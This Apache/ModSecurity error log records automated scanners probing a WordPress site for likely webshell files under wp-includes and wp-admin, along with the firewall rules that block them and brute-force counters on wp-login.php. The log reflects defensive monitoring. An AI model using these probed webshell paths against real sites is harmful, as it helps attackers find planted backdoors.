[Wed Dec 24 10:50:22.584062 2025] [:error] [pid 29371:tid 29379] [client 104.234.53.216:45051] [client 104.234.53.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUtU7ns-DlKLysSq5L8SQwAAAcY"]
[Wed Dec 24 10:50:23.562703 2025] [proxy_fcgi:error] [pid 29371:tid 29390] [client 63.135.161.55:40637] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:24.148775 2025] [proxy_fcgi:error] [pid 29371:tid 29388] [client 63.135.161.55:40637] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:24.406716 2025] [proxy_fcgi:error] [pid 29371:tid 29392] [client 63.135.161.55:40637] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:25.333110 2025] [:error] [pid 29371:tid 29395] [client 63.135.161.55:40637] [client 63.135.161.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aUtU8Xs-DlKLysSq5L8SjAAAAdY"]
[Wed Dec 24 10:50:26.459177 2025] [:error] [pid 16468:tid 16541] [client 104.234.53.221:31983] [client 104.234.53.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.221, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aUtU8odyfuSTFLkCbP8kAgAAAJE"]
[Wed Dec 24 10:50:26.704798 2025] [proxy_fcgi:error] [pid 16468:tid 16548] [client 104.234.53.221:31983] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:27.809631 2025] [proxy_fcgi:error] [pid 16468:tid 16526] [client 104.234.53.221:31983] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:28.081047 2025] [proxy_fcgi:error] [pid 16468:tid 16547] [client 104.234.53.221:31983] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:29.171353 2025] [:error] [pid 16468:tid 16534] [client 104.234.53.221:31983] [client 104.234.53.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aUtU9YdyfuSTFLkCbP8kMwAAAIo"]
[Wed Dec 24 10:50:29.906616 2025] [proxy_fcgi:error] [pid 28405:tid 28434] [client 63.135.161.71:45681] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:30.146361 2025] [:error] [pid 28405:tid 28423] [client 63.135.161.71:45681] [client 63.135.161.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.71, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aUtU9sKkTWlhmfdXFqbp1AAAAU0"]
[Wed Dec 24 10:50:30.664779 2025] [:error] [pid 28405:tid 28422] [client 63.135.161.71:45681] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "aUtU9sKkTWlhmfdXFqbp5AAAAUw"]
[Wed Dec 24 10:50:32.257656 2025] [proxy_fcgi:error] [pid 54139:tid 54154] [client 104.234.53.217:57691] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:33.063663 2025] [proxy_fcgi:error] [pid 54139:tid 54145] [client 104.234.53.217:57691] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:33.546686 2025] [proxy_fcgi:error] [pid 54139:tid 54143] [client 104.234.53.217:57691] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:34.106665 2025] [:error] [pid 54139:tid 54161] [client 104.234.53.217:57691] [client 104.234.53.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aUtU-srYCZenIDzgXuIA6AAAARQ"]
[Wed Dec 24 10:50:34.544994 2025] [proxy_fcgi:error] [pid 16466:tid 16475] [client 104.234.53.215:29843] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:35.222688 2025] [proxy_fcgi:error] [pid 16466:tid 16490] [client 104.234.53.215:29843] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:35.286784 2025] [:error] [pid 16466:tid 16490] [client 104.234.53.215:29843] [client 104.234.53.215] ModSecurity: collection_store: Failed to exclusivly lock DBM file "/tmp/ip": Resource deadlock avoided [hostname "agraphics.com.au"] [uri "/wp-header.php"] [unique_id "aUtU-7u0JcuKJMjJn6zCogAAABQ"]
[Wed Dec 24 10:50:35.759631 2025] [proxy_fcgi:error] [pid 16466:tid 16482] [client 104.234.53.215:29843] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:36.053090 2025] [:error] [pid 16466:tid 16475] [client 104.234.53.215:29843] [client 104.234.53.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/about.php"] [unique_id "aUtU-7u0JcuKJMjJn6zCqwAAAAU"]
[Wed Dec 24 10:50:36.797633 2025] [proxy_fcgi:error] [pid 28777:tid 28798] [client 104.234.53.220:31321] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:37.058179 2025] [:error] [pid 28777:tid 28789] [client 104.234.53.220:31321] [client 104.234.53.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aUtU_ZBVBcZ34cSqz8rDowAAAYo"]
[Wed Dec 24 10:50:37.546561 2025] [proxy_fcgi:error] [pid 28777:tid 28795] [client 63.135.161.64:50027] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:37.878192 2025] [proxy_fcgi:error] [pid 28777:tid 28793] [client 63.135.161.64:50027] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:38.224427 2025] [:error] [pid 28777:tid 28788] [client 63.135.161.64:50027] [client 63.135.161.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aUtU_pBVBcZ34cSqz8rDrAAAAYk"]
[Wed Dec 24 10:50:38.914608 2025] [proxy_fcgi:error] [pid 29371:tid 29386] [client 104.234.53.217:22803] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:39.402912 2025] [:error] [pid 29371:tid 29374] [client 104.234.53.217:22803] [client 104.234.53.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.217, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aUtU_3s-DlKLysSq5L8UPAAAAcE"]
[Wed Dec 24 10:50:39.652182 2025] [:error] [pid 29371:tid 29377] [client 104.234.53.217:22803] [client 104.234.53.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aUtU_3s-DlKLysSq5L8USQAAAcQ"]
[Wed Dec 24 10:50:42.549643 2025] [proxy_fcgi:error] [pid 16550:tid 16576] [client 104.234.53.213:41485] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:43.533684 2025] [proxy_fcgi:error] [pid 16550:tid 16552] [client 104.234.53.213:41485] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:43.796938 2025] [:error] [pid 16550:tid 16576] [client 104.234.53.213:41485] [client 104.234.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/install.php"] [unique_id "aUtVA6YYcdD-LuO7vrBqRwAAANg"]
[Wed Dec 24 10:50:44.480334 2025] [proxy_fcgi:error] [pid 16466:tid 16476] [client 63.135.161.62:30915] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:44.698313 2025] [:error] [pid 16466:tid 16488] [client 63.135.161.62:30915] [client 63.135.161.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aUtVBLu0JcuKJMjJn6zDJwAAABI"]
[Wed Dec 24 10:50:45.139615 2025] [proxy_fcgi:error] [pid 28405:tid 28434] [client 63.135.161.51:35809] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:45.866651 2025] [:error] [pid 28405:tid 28432] [client 63.135.161.51:35809] [client 63.135.161.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.51, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aUtVBcKkTWlhmfdXFqbrNwAAAVY"]
[Wed Dec 24 10:50:55.835651 2025] [proxy_fcgi:error] [pid 28405:tid 28411] [client 63.135.161.51:35809] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:56.086819 2025] [proxy_fcgi:error] [pid 28405:tid 28419] [client 63.135.161.51:35809] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:56.319614 2025] [proxy_fcgi:error] [pid 28405:tid 28430] [client 63.135.161.51:35809] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:56.547082 2025] [:error] [pid 28405:tid 28424] [client 63.135.161.51:35809] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aUtVEMKkTWlhmfdXFqbrsgAAAU4"]
[Wed Dec 24 10:50:56.991619 2025] [proxy_fcgi:error] [pid 16466:tid 16479] [client 104.234.53.225:33473] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:57.207144 2025] [:error] [pid 16466:tid 16490] [client 104.234.53.225:33473] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aUtVEbu0JcuKJMjJn6zEEQAAABQ"]
[Wed Dec 24 10:51:04.805653 2025] [proxy_fcgi:error] [pid 28777:tid 28794] [client 63.135.161.46:50017] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:05.031008 2025] [:error] [pid 28777:tid 28781] [client 63.135.161.46:50017] [client 63.135.161.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aUtVGZBVBcZ34cSqz8rEtgAAAYI"]
[Wed Dec 24 10:51:05.958616 2025] [proxy_fcgi:error] [pid 28777:tid 28794] [client 63.135.161.55:42153] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:06.177540 2025] [:error] [pid 28777:tid 28796] [client 63.135.161.55:42153] [client 63.135.161.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aUtVGpBVBcZ34cSqz8rExwAAAZE"]
[Wed Dec 24 10:51:06.649063 2025] [:error] [pid 16466:tid 16474] [client 63.135.161.69:53215] [client 63.135.161.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aUtVGru0JcuKJMjJn6zE3QAAAAQ"]
[Wed Dec 24 10:51:07.088607 2025] [proxy_fcgi:error] [pid 16550:tid 16566] [client 104.234.53.211:47577] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:07.309600 2025] [proxy_fcgi:error] [pid 16550:tid 16568] [client 104.234.53.211:47577] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:08.212181 2025] [:error] [pid 16550:tid 16553] [client 104.234.53.211:47577] [client 104.234.53.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aUtVHKYYcdD-LuO7vrBuHQAAAME"]
[Wed Dec 24 10:51:08.855738 2025] [:error] [pid 16468:tid 16543] [client 104.234.53.219:35721] [client 104.234.53.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aUtVHIdyfuSTFLkCbP8mEgAAAJM"]
[Wed Dec 24 10:51:09.298841 2025] [proxy_fcgi:error] [pid 54139:tid 54149] [client 104.234.53.225:37515] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:09.962659 2025] [:error] [pid 54139:tid 54146] [client 104.234.53.225:37515] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aUtVHcrYCZenIDzgXuIDlgAAAQU"]
[Wed Dec 24 10:51:10.423095 2025] [proxy_fcgi:error] [pid 28405:tid 28416] [client 104.234.53.223:41131] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:10.905432 2025] [proxy_fcgi:error] [pid 28405:tid 28409] [client 104.234.53.223:41131] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:11.121271 2025] [:error] [pid 28405:tid 28414] [client 104.234.53.223:41131] [client 104.234.53.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aUtVH8KkTWlhmfdXFqbsdgAAAUU"]
[Wed Dec 24 10:51:11.568631 2025] [proxy_fcgi:error] [pid 28405:tid 28433] [client 104.234.53.217:31953] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:11.999133 2025] [:error] [pid 28405:tid 28414] [client 104.234.53.217:31953] [client 104.234.53.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "aUtVH8KkTWlhmfdXFqbshgAAAUU"]
[Wed Dec 24 10:51:12.474958 2025] [proxy_fcgi:error] [pid 54139:tid 54162] [client 63.135.161.47:55419] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:13.157217 2025] [:error] [pid 54139:tid 54154] [client 63.135.161.47:55419] [client 63.135.161.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aUtVIcrYCZenIDzgXuID8AAAAQ0"]
[Wed Dec 24 10:51:13.870619 2025] [proxy_fcgi:error] [pid 28405:tid 28425] [client 63.135.161.63:54411] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:14.342611 2025] [proxy_fcgi:error] [pid 28405:tid 28415] [client 63.135.161.63:54411] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:14.579647 2025] [proxy_fcgi:error] [pid 28405:tid 28424] [client 63.135.161.63:54411] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:15.033843 2025] [proxy_fcgi:error] [pid 28405:tid 28427] [client 63.135.161.63:54411] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:15.298867 2025] [:error] [pid 28405:tid 28428] [client 63.135.161.63:54411] [client 63.135.161.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aUtVI8KkTWlhmfdXFqbsxgAAAVI"]
[Wed Dec 24 10:51:15.744269 2025] [:error] [pid 54139:tid 54141] [client 63.135.161.57:25979] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aUtVI8rYCZenIDzgXuIENQAAAQA"]
[Wed Dec 24 10:51:16.186363 2025] [:error] [pid 28777:tid 28799] [client 63.135.161.54:46599] [client 63.135.161.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aUtVJJBVBcZ34cSqz8rFRgAAAZQ"]
[Wed Dec 24 10:51:16.637505 2025] [:error] [pid 16468:tid 16545] [client 63.135.161.45:26513] [client 63.135.161.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aUtVJIdyfuSTFLkCbP8mvAAAAJU"]
[Wed Dec 24 10:51:17.091618 2025] [proxy_fcgi:error] [pid 28777:tid 28787] [client 63.135.161.73:39963] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:17.319567 2025] [:error] [pid 28777:tid 28779] [client 63.135.161.73:39963] [client 63.135.161.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aUtVJZBVBcZ34cSqz8rFXAAAAYA"]
[Wed Dec 24 10:51:17.746897 2025] [:error] [pid 16550:tid 16561] [client 104.234.53.219:34415] [client 104.234.53.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aUtVJaYYcdD-LuO7vrBvaAAAAMk"]
[Wed Dec 24 10:51:18.175918 2025] [proxy_fcgi:error] [pid 28777:tid 28801] [client 104.234.53.221:51679] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:18.613326 2025] [:error] [pid 28777:tid 28781] [client 104.234.53.221:51679] [client 104.234.53.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aUtVJpBVBcZ34cSqz8rFfAAAAYI"]
[Wed Dec 24 10:51:19.056343 2025] [:error] [pid 28777:tid 28801] [client 63.135.161.50:63063] [client 63.135.161.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aUtVJ5BVBcZ34cSqz8rFhQAAAZY"]
[Wed Dec 24 10:51:19.518281 2025] [:error] [pid 16467:tid 16500] [client 104.234.53.208:60459] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aUtVJ40TJMcBxX5slgrjgwAAAEM"]
[Wed Dec 24 10:51:19.993131 2025] [:error] [pid 29371:tid 29382] [client 104.234.53.207:36613] [client 104.234.53.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aUtVJ3s-DlKLysSq5L8YbQAAAck"]
[Wed Dec 24 10:51:20.631653 2025] [:error] [pid 16466:tid 16486] [client 104.234.53.211:41613] [client 104.234.53.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aUtVKLu0JcuKJMjJn6zF1AAAABA"]
[Wed Dec 24 10:51:21.587300 2025] [:error] [pid 28405:tid 28422] [client 63.135.161.71:32759] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aUtVKcKkTWlhmfdXFqbtNwAAAUw"]
[Wed Dec 24 10:51:22.027762 2025] [proxy_fcgi:error] [pid 16466:tid 16485] [client 104.234.53.214:23681] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:22.497085 2025] [:error] [pid 16466:tid 16473] [client 104.234.53.214:23681] [client 104.234.53.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aUtVKru0JcuKJMjJn6zF7wAAAAM"]
[Wed Dec 24 10:51:23.160610 2025] [proxy_fcgi:error] [pid 16466:tid 16475] [client 63.135.161.51:30595] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:23.393522 2025] [:error] [pid 16466:tid 16476] [client 63.135.161.51:30595] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aUtVK7u0JcuKJMjJn6zF_gAAAAY"]
[Wed Dec 24 10:51:24.111639 2025] [proxy_fcgi:error] [pid 16466:tid 16475] [client 63.135.161.52:22127] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:24.362154 2025] [proxy_fcgi:error] [pid 16466:tid 16487] [client 63.135.161.52:22127] AH01071: Got error 'Primary script unknown'
